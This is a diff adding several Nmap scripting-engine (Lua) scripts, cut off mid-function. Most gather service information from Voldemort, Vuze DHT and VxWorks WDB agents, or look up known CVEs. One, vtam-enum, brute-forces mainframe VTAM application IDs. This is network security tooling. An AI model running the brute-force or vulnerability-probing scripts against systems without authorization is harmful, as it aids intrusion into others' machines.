+++ b/scripts/voldemort-info.nse
@@ -0,0 +1,173 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Retrieves cluster and store information from the Voldemort distributed key-value store using the Voldemort Native Protocol.
+]]
+
+---
+-- @usage
+-- nmap -p 6666 --script voldemort-info <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6666/tcp open irc
+-- | voldemort-info:
+-- | Cluster
+-- | Name: mycluster
+-- | Id: 0
+-- | Host: localhost
+-- | HTTP Port: 8081
+-- | TCP Port: 6666
+-- | Admin Port: 6667
+-- | Partitions: 0, 1
+-- | Stores
+-- | test
+-- | Persistence: bdb
+-- | Description: Test store
+-- | Owners: harry@hogwarts.edu, hermoine@hogwarts.edu
+-- | Routing strategy: consistent-routing
+-- | Routing: client
+-- | wordcounts
+-- | Persistence: read-only
+-- | Routing strategy: consistent-routing
+-- |_ Routing: client
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(6666, "vp3", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+-- Connect to the server and make sure it supports the vp3 protocol
+-- @param host table as received by the action method
+-- @param port table as received by the action method
+-- @return status true on success, false on failure
+-- @return socket connected to the server
+local function connect(host, port)
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ status, err = socket:send("vp3")
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+
+ local response
+ status, response = socket:receive_bytes(2)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ elseif( response ~= "ok" ) then
+ return false, "Unsupported protocol"
+ end
+ return true, socket
+end
+
+-- Get Voldemort metadata
+-- @param socket connected to the server
+-- @param file the xml file to retrieve
+-- @return status true on success false on failure
+-- @return data string as received from the server
+local function getMetadata(socket, file)
+
+ local req = "\x01\x00" .. string.pack(">s1x I4 s1x", "metadata", 0, file)
+ local status, err = socket:send(req)
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+ local status, data = socket:receive_bytes(10)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+ local len = string.unpack(">I2", data, 9)
+ while( #data < len - 2 ) do
+ local status, tmp = socket:receive_bytes(len - 2 - #data)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+ data = data .. tmp
+ end
+ return true, data
+end
+
+
+action = function(host, port)
+
+ -- table of variables to query the server
+ local vars = {
+ ["cluster"] = {
+ { key = "Name", match = "<cluster>.-<name>(.-)</name>" },
+ { key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
+ { key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
+ { key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
+ { key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
+ { key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
+ { key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
+ },
+ ["store"] = {
+ { key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
+ { key = "Description", match = "<store>.-<description>(.-)</description>" },
+ { key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
+ { key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
+ { key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
+ },
+ }
+
+ -- connect to the server
+ local status, socket = connect(host, port)
+ if ( not(status) ) then
+ return fail(socket)
+ end
+
+ -- get the cluster meta data
+ local status, response = getMetadata(socket, "cluster.xml")
+ if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
+ return
+ end
+
+ -- Get the cluster details
+ local cluster_tbl = { name = "Cluster" }
+ for _, item in ipairs(vars["cluster"]) do
+ local val = response:match(item.match)
+ if ( val ) then
+ table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
+ end
+ end
+
+ -- get the stores meta data
+ local status, response = getMetadata(socket, "stores.xml")
+ if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
+ return
+ end
+
+ local result, stores = {}, { name = "Stores" }
+ table.insert(result, cluster_tbl)
+
+ -- iterate over store items
+ for store in response:gmatch("<store>.-</store>") do
+ local name = store:match("<store>.-<name>(.-)</name>")
+ local store_tbl = { name = name or "unknown" }
+
+ for _, item in ipairs(vars["store"]) do
+ local val = store:match(item.match)
+ if ( val ) then
+ table.insert(store_tbl, ("%s: %s"):format(item.key, val))
+ end
+ end
+ table.insert(stores, store_tbl)
+ end
+ table.insert(result, stores)
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/vtam-enum.nse b/scripts/vtam-enum.nse
new file mode 100644
index 0000000..edf3cf8
--- /dev/null
+++ b/scripts/vtam-enum.nse
@@ -0,0 +1,277 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local io = require "io"
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Many mainframes use VTAM screens to connect to various applications
+(CICS, IMS, TSO, and many more).
+
+This script attempts to brute force those VTAM application IDs.
+
+This script is based on mainframe_brute by Dominic White
+(https://github.com/sensepost/mainframe_brute). However, this script
+doesn't rely on any third party libraries or tools and instead uses
+the NSE TN3270 library which emulates a TN3270 screen in lua.
+
+Application IDs only allows for 8 byte IDs, that is the only specific rule
+found for application IDs.
+]]
+
+---
+--@args idlist Path to list of application IDs to test.
+-- Defaults to <code>nselib/data/vhosts-default.lst</code>.
+--@args vtam-enum.commands Commands in a semi-colon separated list needed
+-- to access VTAM. Defaults to <code>nothing</code>.
+--@args vtam-enum.path Folder used to store valid transaction id 'screenshots'
+-- Defaults to <code>None</code> and doesn't store anything.
+--@args vtam-enum.macros When set to true does not prepend the application ID
+-- with 'logon applid()'. Default is <code>false</code>.
+--
+--@usage
+-- nmap --script vtam-enum -p 23 <targets>
+--
+-- nmap --script vtam-enum --script-args idlist=defaults.txt,
+-- vtam-enum.command="exit;logon applid(logos)",vtam-enum.macros=true
+-- vtam-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
+--
+--@output
+-- PORT STATE SERVICE VERSION
+-- 23/tcp open tn3270 IBM Telnet TN3270
+-- | vtam-enum:
+-- | VTAM Application ID:
+-- | applid:TSO - Valid credentials
+-- | applid:CICSTS51 - Valid credentials
+-- |_ Statistics: Performed 14 guesses in 5 seconds, average tps: 2
+--
+-- @changelog
+-- 2015-07-04 - v0.1 - created by Soldier of Fortran
+-- 2015-11-04 - v0.2 - significant upgrades and speed increases
+-- 2015-11-14 - v0.3 - rewrote iterator
+-- 2017-01-13 - v0.4 - Fixed 'macros' bug with default vtam screen and test
+-- and added threshold for macros screen checking
+-- 2019-02-01 - v0.5 - Disabling Enhanced mode
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+--- Saves the Screen generated by the VTAM command to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function save_screens( filename, data )
+ local f = io.open( filename, "w")
+ if not f then return false, ("Failed to open file (%s)"):format(filename) end
+ if not(f:write(data)) then return false, ("Failed to write file (%s)"):format(filename) end
+ f:close()
+ return true
+end
+
+--- Compares two screens and returns the difference as a percentage
+--
+-- @param1 the original screen
+-- @param2 the screen to compare to
+local function screen_diff( orig_screen, current_screen )
+ if orig_screen == current_screen then return 100 end
+ if #orig_screen == 0 or #current_screen == 0 then return 0 end
+ local m = 1
+ for i =1 , #orig_screen do
+ if orig_screen:byte(i) == current_screen:byte(i) then
+ m = m + 1
+ end
+ end
+ return (m/1920)*100
+end
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new()
+ o.tn3270:disable_tn3270e()
+ return o
+ end,
+ connect = function( self )
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ if not status then
+ stdnse.debug2("Could not initiate TN3270: %s", err )
+ return false
+ end
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ end,
+ login = function (self, user, pass) -- pass is actually the username we want to try
+ local path = self.options['key2']
+ local macros = self.options['key3']
+ local cmdfmt = "logon applid(%s)"
+ local type = "applid"
+ local threshold = 75
+ -- instead of sending 'logon applid(<appname>)' when macros=true
+ -- we try to logon with just the command
+ if macros then
+ cmdfmt = "%s"
+ type ="macro"
+ threshold = 90 -- sometimes the screen barely changes
+ end
+ stdnse.verbose(2,"Trying VTAM ID: %s", pass)
+
+ local previous_screen = self.tn3270:get_screen_raw()
+ self.tn3270:send_cursor(cmdfmt:format(pass))
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ local current_screen = self.tn3270:get_screen_raw()
+
+ if (self.tn3270:find('UNABLE TO ESTABLISH SESSION') or -- thanks goes to Dominic White for creating these
+ self.tn3270:find('COMMAND UNRECOGNI[SZ]ED') or
+ self.tn3270:find('USSMSG0[1-4]') or
+ self.tn3270:find('SESSION NOT BOUND') or
+ self.tn3270:find('INVALID COMMAND') or
+ self.tn3270:find('PARAMETER OMITTED') or
+ self.tn3270:find('REQUERIDO PARAMETRO PERDIDO') or
+ self.tn3270:find('Your command is unrecognized') or
+ self.tn3270:find('invalid command or syntax') or
+ self.tn3270:find('UNSUPPORTED FUNCTION') or
+ self.tn3270:find('REQSESS error') or
+ self.tn3270:find('syntax invalid') or
+ self.tn3270:find('INVALID SYSTEM') or
+ self.tn3270:find('NOT VALID') or
+ self.tn3270:find('INVALID USERID, APPLID') ) or
+ self.tn3270:find('UNABLE TO CONNECT TO THE REQUESTED APPLICATION') or
+ screen_diff(previous_screen, current_screen) > threshold then
+ -- Looks like an invalid APPLID.
+ stdnse.verbose(2,'Invalid Application ID: %s',string.upper(pass))
+ return false, brute.Error:new( "Invalid VTAM Application ID" )
+ else
+ stdnse.verbose(2,"Valid Application ID: %s",string.upper(pass))
+ if path ~= nil then
+ stdnse.verbose(2,"Writting screen to: %s", path..string.upper(pass)..".txt")
+ local status, err = save_screens(path..string.upper(pass)..".txt",self.tn3270:get_screen())
+ if not status then
+ stdnse.verbose(2,"Failed writting screen to: %s", path..string.upper(pass)..".txt")
+ end
+ end
+ return true, creds.Account:new(type,string.upper(pass), creds.State.VALID)
+ end
+ end
+}
+
+--- Tests the target to see if we can use logon applid(<id>) for enumeration
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @param commands optional script-args of commands to use to get to VTAM
+-- @return status true on success, false on failure
+local function vtam_test( host, port, commands, macros)
+ local tn = tn3270.Telnet:new()
+ tn:disable_tn3270e()
+ local status, err = tn:initiate(host,port)
+ stdnse.debug1("Testing if VTAM and 'logon applid' command supported")
+ stdnse.debug2("Connecting TN3270 to %s:%s", host.targetname or host.ip, port.number)
+
+ if not status then
+ stdnse.debug1("Could not initiate TN3270: %s", err )
+ return false
+ end
+
+ stdnse.debug2("Displaying initial TN3270 Screen:")
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+
+ if commands ~= nil then
+ local run = stringaux.strsplit(";%s*", commands)
+ for i = 1, #run do
+ stdnse.debug(2,"Issuing Command (#%s of %s) or %s", i, #run ,run[i])
+ tn:send_cursor(run[i])
+ tn:get_screen_debug(2)
+ end
+ end
+ stdnse.debug2("Sending VTAM command: IBMTEST")
+ tn:send_cursor('IBMTEST')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ local isVTAM = false
+ if not macros and tn:find('IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') then
+ stdnse.debug2("IBMTEST Returned: IBMECHO ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.")
+ stdnse.debug1("VTAM Test Success!")
+ isVTAM = true
+ elseif macros then
+ isVTAM = true
+ end
+
+ if not macros then
+ -- now testing if we can send 'logon applid(<id>)'
+ -- certain systems interpret 'logon' as the tso logon
+ tn:send_cursor('LOGON APPLID(FAKE)')
+ tn:get_all_data()
+ tn:get_screen_debug(2)
+ if tn:find('INVALID USERID') then
+ isVTAM = false
+ end
+ tn:disconnect()
+ end
+ return isVTAM
+end
+
+-- Checks if it's a valid VTAM name
+local valid_vtam = function(x)
+ return (string.len(x) <= 8 and string.match(x,"[%w@#%$]"))
+end
+
+function iter(t)
+ local i, val
+ return function()
+ i, val = next(t, i)
+ return val
+ end
+end
+
+action = function(host, port)
+ local vtam_id_file = stdnse.get_script_args("idlist")
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') -- Folder for screen grabs
+ local macros = stdnse.get_script_args(SCRIPT_NAME .. '.macros') or false -- if set to true, doesn't prepend the commands with 'logon applid'
+ local commands = stdnse.get_script_args(SCRIPT_NAME .. '.commands') -- Commands to send to get to VTAM
+ local vtam_ids = {"tso", "CICS", "IMS", "NETVIEW", "TPX"} -- these are defaults usually seen
+ vtam_id_file = ( (vtam_id_file and nmap.fetchfile(vtam_id_file)) or vtam_id_file ) or
+ nmap.fetchfile("nselib/data/vhosts-default.lst")
+
+ for l in io.lines(vtam_id_file) do
+ local cleaned_line = string.gsub(l,"[\r\n]","")
+ if not cleaned_line:match("#!comment:") then
+ table.insert(vtam_ids, cleaned_line)
+ end
+ end
+
+ if vtam_test(host, port, commands, macros) then
+ local options = { key1 = commands, key2 = path, key3=macros }
+ stdnse.verbose("Starting VTAM Application ID Enumeration")
+ if path ~= nil then stdnse.verbose(2,"Saving Screenshots to: %s", path) end
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ engine:setPasswordIterator(unpwdb.filter_iterator(iter(vtam_ids), valid_vtam))
+ engine.options.passonly = true
+ engine.options:setTitle("VTAM Application ID")
+ local status, result = engine:start()
+ return result
+ else
+ return "Not VTAM or 'logon applid' command not accepted. Try with script arg 'vtam-enum.macros=true'"
+ end
+
+end
diff --git a/scripts/vulners.nse b/scripts/vulners.nse
new file mode 100644
index 0000000..1508d8f
--- /dev/null
+++ b/scripts/vulners.nse
@@ -0,0 +1,236 @@
+description = [[
+For each available CPE the script prints out known vulns (links to the correspondent info) and correspondent CVSS scores.
+
+Its work is pretty simple:
+* work only when some software version is identified for an open port
+* take all the known CPEs for that software (from the standard nmap -sV output)
+* make a request to a remote server (vulners.com API) to learn whether any known vulns exist for that CPE
+* if no info is found this way, try to get it using the software name alone
+* print the obtained info out
+
+NB:
+Since the size of the DB with all the vulns is more than 250GB there is no way to use a local db.
+So we do make requests to a remote service. Still all the requests contain just two fields - the
+software name and its version (or CPE), so one can still have the desired privacy.
+]]
+
+---
+-- @usage
+-- nmap -sV --script vulners [--script-args mincvss=<arg_val>] <target>
+--
+-- @args vulners.mincvss Limit CVEs shown to those with this CVSS score or greater.
+--
+-- @output
+--
+-- 53/tcp open domain ISC BIND DNS
+-- | vulners:
+-- | ISC BIND DNS:
+-- | CVE-2012-1667 8.5 https://vulners.com/cve/CVE-2012-1667
+-- | CVE-2002-0651 7.5 https://vulners.com/cve/CVE-2002-0651
+-- | CVE-2002-0029 7.5 https://vulners.com/cve/CVE-2002-0029
+-- | CVE-2015-5986 7.1 https://vulners.com/cve/CVE-2015-5986
+-- | CVE-2010-3615 5.0 https://vulners.com/cve/CVE-2010-3615
+-- | CVE-2006-0987 5.0 https://vulners.com/cve/CVE-2006-0987
+-- |_ CVE-2014-3214 5.0 https://vulners.com/cve/CVE-2014-3214
+--
+-- @xmloutput
+-- <table key="cpe:/a:isc:bind:9.8.2rc1">
+-- <table>
+-- <elem key="is_exploit">false</elem>
+-- <elem key="cvss">8.5</elem>
+-- <elem key="id">CVE-2012-1667</elem>
+-- <elem key="type">cve</elem>
+-- </table>
+-- <table>
+-- <elem key="is_exploit">false</elem>
+-- <elem key="cvss">7.8</elem>
+-- <elem key="id">CVE-2015-4620</elem>
+-- <elem key="type">cve</elem>
+-- </table>
+-- </table>
+
+author = 'gmedian AT vulners DOT com'
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe", "external"}
+
+
+local http = require "http"
+local json = require "json"
+local string = require "string"
+local table = require "table"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+
+local api_version="1.2"
+local mincvss=stdnse.get_script_args("vulners.mincvss")
+mincvss = tonumber(mincvss) or 0.0
+
+portrule = function(host, port)
+ local vers=port.version
+ return vers ~= nil and vers.version ~= nil
+end
+
+local cve_meta = {
+ __tostring = function(me)
+ return ("\t%s\t%s\thttps://vulners.com/%s/%s%s"):format(me.id, me.cvss or "", me.type, me.id, me.is_exploit and '\t*EXPLOIT*' or '')
+ end,
+}
+
+---
+-- Return a string with all the found cve's and correspondent links
+--
+-- @param vulns a table with the parsed json response from the vulners server
+--
+function make_links(vulns)
+ local output = {}
+
+ if not vulns or not vulns.data or not vulns.data.search then
+ return
+ end
+
+ for _, vuln in ipairs(vulns.data.search) do
+ local v = {
+ id = vuln._source.id,
+ type = vuln._source.type,
+ -- Mark the exploits out
+ is_exploit = vuln._source.bulletinFamily:lower() == "exploit",
+ -- Sometimes it might happen, so check the score availability
+ cvss = tonumber(vuln._source.cvss.score),
+ }
+
+ -- NOTE[gmedian]: exploits seem to have cvss == 0, so print them anyway
+ if not v.cvss or (v.cvss == 0 and v.is_exploit) or mincvss <= v.cvss then
+ setmetatable(v, cve_meta)
+ output[#output+1] = v
+ end
+ end
+
+ if #output > 0 then
+ -- Sort the acquired vulns by the CVSS score
+ table.sort(output, function(a, b)
+ return a.cvss > b.cvss or (a.cvss == b.cvss and a.id > b.id)
+ end)
+ return output
+ end
+end
+
+
+---
+-- Issues the requests, receives json and parses it, calls <code>make_links</code> when successfull
+--
+-- @param what string, future value for the software query argument
+-- @param vers string, the version query argument
+-- @param type string, the type query argument
+--
+function get_results(what, vers, type)
+ local api_endpoint = "https://vulners.com/api/v3/burp/software/"
+ local vulns
+ local option={
+ header={
+ ['User-Agent'] = string.format('Vulners NMAP Plugin %s', api_version)
+ },
+ any_af = true,
+ }
+
+ local response = http.get_url(('%s?software=%s&version=%s&type=%s'):format(api_endpoint, what, vers, type), option)
+
+ local status = response.status
+ if status == nil then
+ -- Something went really wrong out there
+ -- According to the NSE way we will die silently rather than spam user with error messages
+ return
+ elseif status ~= 200 then
+ -- Again just die silently
+ return
+ end
+
+ status, vulns = json.parse(response.body)
+
+ if status == true then
+ if vulns.result == "OK" then
+ return make_links(vulns)
+ end
+ end
+end
+
+
+---
+-- Calls <code>get_results</code> for type="software"
+--
+-- It is called from <code>action</code> when nothing is found for the available cpe's
+--
+-- @param software string, the software name
+-- @param version string, the software version
+--
+function get_vulns_by_software(software, version)
+ return get_results(software, version, "software")
+end
+
+
+---
+-- Calls <code>get_results</code> for type="cpe"
+--
+-- Takes the version number from the given <code>cpe</code> and tries to get the result.
+-- If none found, changes the given <code>cpe</code> a bit in order to possibly separate version number from the patch version
+-- And makes another attempt.
+-- Having failed returns an empty string.
+--
+-- @param cpe string, the given cpe
+--
+function get_vulns_by_cpe(cpe)
+ local vers_regexp=":([%d%.%-%_]+)([^:]*)$"
+
+ -- TODO[gmedian]: add check for cpe:/a as we might be interested in software rather than in OS (cpe:/o) and hardware (cpe:/h)
+ -- TODO[gmedian]: work not with the LAST part but simply with the THIRD one (according to cpe doc it must be version)
+
+ -- NOTE[gmedian]: take only the numeric part of the version
+ local _, _, vers = cpe:find(vers_regexp)
+
+
+ if not vers then
+ return
+ end
+
+ local output = get_results(cpe, vers, "cpe")
+
+ if not output then
+ local new_cpe
+
+ new_cpe = cpe:gsub(vers_regexp, ":%1:%2")
+ output = get_results(new_cpe, vers, "cpe")
+ end
+
+ return output
+end
+
+
+action = function(host, port)
+ local tab=stdnse.output_table()
+ local changed=false
+ local response
+ local output
+
+ for i, cpe in ipairs(port.version.cpe) do
+ output = get_vulns_by_cpe(cpe, port.version)
+ if output then
+ tab[cpe] = output
+ changed = true
+ end
+ end
+
+ -- NOTE[gmedian]: issue request for type=software, but only when nothing is found so far
+ if not changed then
+ local vendor_version = port.version.product .. " " .. port.version.version
+ output = get_vulns_by_software(port.version.product, port.version.version)
+ if output then
+ tab[vendor_version] = output
+ changed = true
+ end
+ end
+
+ if (not changed) then
+ return
+ end
+ return tab
+end
+
diff --git a/scripts/vuze-dht-info.nse b/scripts/vuze-dht-info.nse
new file mode 100644
index 0000000..cc612e0
--- /dev/null
+++ b/scripts/vuze-dht-info.nse
@@ -0,0 +1,88 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+local vuzedht = stdnse.silent_require "vuzedht"
+
+description = [[
+Retrieves some basic information, including protocol version from a Vuze filesharing node.
+
+As Vuze doesn't have a default port for its DHT service, this script has
+some difficulties in determining when to run. Most scripts are triggered by
+either a default port or a fingerprinted service. To get around this, there
+are two options:
+1. Always run a version scan, to identify the vuze-dht service in order to
+ trigger the script.
+2. Force the script to run against each port by setting the argument
+ vuze-dht-info.allports
+]]
+
+---
+-- @usage
+-- nmap -sU -p <port> <ip> --script vuze-dht-info -sV
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 17555/udp open vuze-dht Vuze
+-- | vuze-dht-info:
+-- | Transaction id: 9438865
+-- | Connection id: 0xFF79A77B4592BDB0
+-- | Protocol version: 50
+-- | Vendor id: Azureus (0)
+-- | Network id: Stable (0)
+-- |_ Instance id: 2260473691
+--
+-- @args vuze-dht-info.allports if set runs this script against every open port
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = function(host, port)
+ local allports = stdnse.get_script_args('vuze-dht-info.allports')
+ if ( tonumber(allports) == 1 or allports == 'true' ) then
+ return true
+ else
+ local f = shortport.port_or_service({17555, 49160, 49161, 49162}, "vuze-dht", "udp", {"open", "open|filtered"})
+ return f(host, port)
+ end
+end
+
+local function getDHTInfo(host, port, lhost)
+
+ local helper = vuzedht.Helper:new(host, port, lhost)
+ local status = helper:connect()
+
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ local response
+ status, response = helper:ping()
+ if ( not(status) ) then
+ return false, "Failed to ping vuze node"
+ end
+ helper:close()
+
+ return true, response
+end
+
+action = function(host, port)
+
+ local status, response = getDHTInfo(host, port)
+ if not status then
+ return stdnse.format_output(false, response)
+ end
+
+ -- check whether we have an error due to an incorrect address
+ -- ie. we're on a NAT:ed network and we're announcing our private ip
+ if ( status and response.header.action == vuzedht.Response.Actions.ERROR ) then
+ status, response = getDHTInfo(host, port, response.addr.ip)
+ end
+
+ if ( status ) then
+ nmap.set_port_state(host, port, "open")
+ return tostring(response)
+ end
+end
diff --git a/scripts/wdb-version.nse b/scripts/wdb-version.nse
new file mode 100644
index 0000000..3238064
--- /dev/null
+++ b/scripts/wdb-version.nse
@@ -0,0 +1,222 @@
+local nmap = require "nmap"
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Detects vulnerabilities and gathers information (such as version
+numbers and hardware support) from VxWorks Wind DeBug agents.
+
+Wind DeBug is a SunRPC-type service that is enabled by default on many devices
+that use the popular VxWorks real-time embedded operating system. H.D. Moore
+of Metasploit has identified several security vulnerabilities and design flaws
+with the service, including weakly-hashed passwords and raw memory dumping.
+
+See also:
+http://www.kb.cert.org/vuls/id/362332
+]]
+
+---
+-- @usage
+-- nmap -sU -p 17185 --script wdb-version <target>
+-- @output
+-- 17185/udp open wdb Wind DeBug Agent 2.0
+-- | wdb-version:
+-- | VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332
+-- | Agent version: 2.0
+-- | VxWorks version: VxWorks5.4.2
+-- | Board Support Package: PCD ARM940T REV 1
+-- | Boot line: host:vxWorks.z
+--@xmloutput
+-- <elem>VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332</elem>
+-- <elem key="Agent version">2.0</elem>
+-- <elem key="VxWorks version">5.4</elem>
+-- <elem key="Board Support Package">Alcatel CMM MPC8245/100</elem>
+-- <elem key="Boot line">lanswitchCmm:</elem>
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe", "version", "discovery", "vuln"}
+
+
+-- WDB protocol information
+-- http://www.vxdev.com/docs/vx55man/tornado-api/wdbpcl/wdb.html
+-- http://www.verysource.com/code/2817990_1/wdb.h.html
+-- Metasploit scanner module
+-- https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/wdbrpc.rb
+
+portrule = shortport.version_port_or_service(17185, "wdbrpc", {"udp"} )
+
+rpc.RPC_version["wdb"] = { min=1, max=1 }
+
+local WDB_Procedure = {
+ ["WDB_TARGET_PING"] = 0,
+ ["WDB_TARGET_CONNECT"] = 1,
+ ["WDB_TARGET_DISCONNECT"] = 2,
+ ["WDB_TARGET_MODE_SET"] = 3,
+ ["WDB_TARGET_MODE_GET"] = 4,
+}
+
+local function checksum(data)
+ local sum = 0
+ local p = 5 -- skip first 4 bytes
+ while p < #data do
+ local c
+ c, p = (">I2"):unpack(data, p)
+ sum = sum + c
+ end
+ sum = (sum & 0xffff) + (sum >> 16)
+ return ~sum & 0xffff
+end
+
+local seqnum = 0
+local function seqno()
+ seqnum = seqnum + 1
+ return seqnum
+end
+
+local function request(comm, procedure, data)
+ local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
+ local wdbwrapper = (">I4I4"):pack(#data + #packet + 8, seqno())
+ local sum = checksum(packet .. "\0\0\0\0" .. wdbwrapper .. data)
+ return packet .. (">I2I2"):pack(0xffff, sum) .. wdbwrapper .. data
+end
+
+local function stripnull(str)
+ return (str:gsub("\0*$",""))
+end
+
+local function decode_reply(data, pos)
+ local wdberr, len
+ local done = data:len()
+ local info = {}
+ local _
+ pos, _ = rpc.Util.unmarshall_uint32(data, pos)
+ pos, _ = rpc.Util.unmarshall_uint32(data, pos)
+ pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
+ info["error"] = wdberr & 0xc0000000
+ if info["error"] ~= 0x00000000 then
+ stdnse.debug1("Error from decode_reply: %x", info["error"])
+ return nil, info
+ end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len ~= 0 then
+ pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if pos == done then return pos, info end
+ if len ~= 0 then
+ pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ info["rt_has_fpp"] = ( len ~= 0 )
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ info["rt_has_wp"] = ( len ~= 0 )
+ pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len ~= 0 then
+ pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len ~= 0 then
+ pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ if pos == done then return pos, info end
+ pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
+ if pos == done then return pos, info end
+ pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
+ if pos == done then return pos, info end
+ pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
+ if pos == done then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len ~= 0 then
+ info["rt_regions"] = {}
+ for i = 1, len do
+ pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
+ end
+ end
+ if pos == done then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len == nil then return pos, info end
+ if len ~= 0 then
+ pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ if pos == done then return pos, info end
+ pos, len = rpc.Util.unmarshall_uint32(data, pos)
+ if len ~= 0 then
+ pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
+ end
+ return pos, info
+end
+
+action = function(host, port)
+ local comm = rpc.Comm:new("wdb", 1)
+ local status, err = comm:Connect(host, port)
+ if not status then
+ return stdnse.format_output(false, err)
+ end
+ local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], (">I4I4I4"):pack(2, 0, 0))
+ if not comm:SendPacket(packet) then
+ return stdnse.format_output(false, "Failed to send request")
+ end
+
+ local status, data = comm:ReceivePacket()
+ if not status then
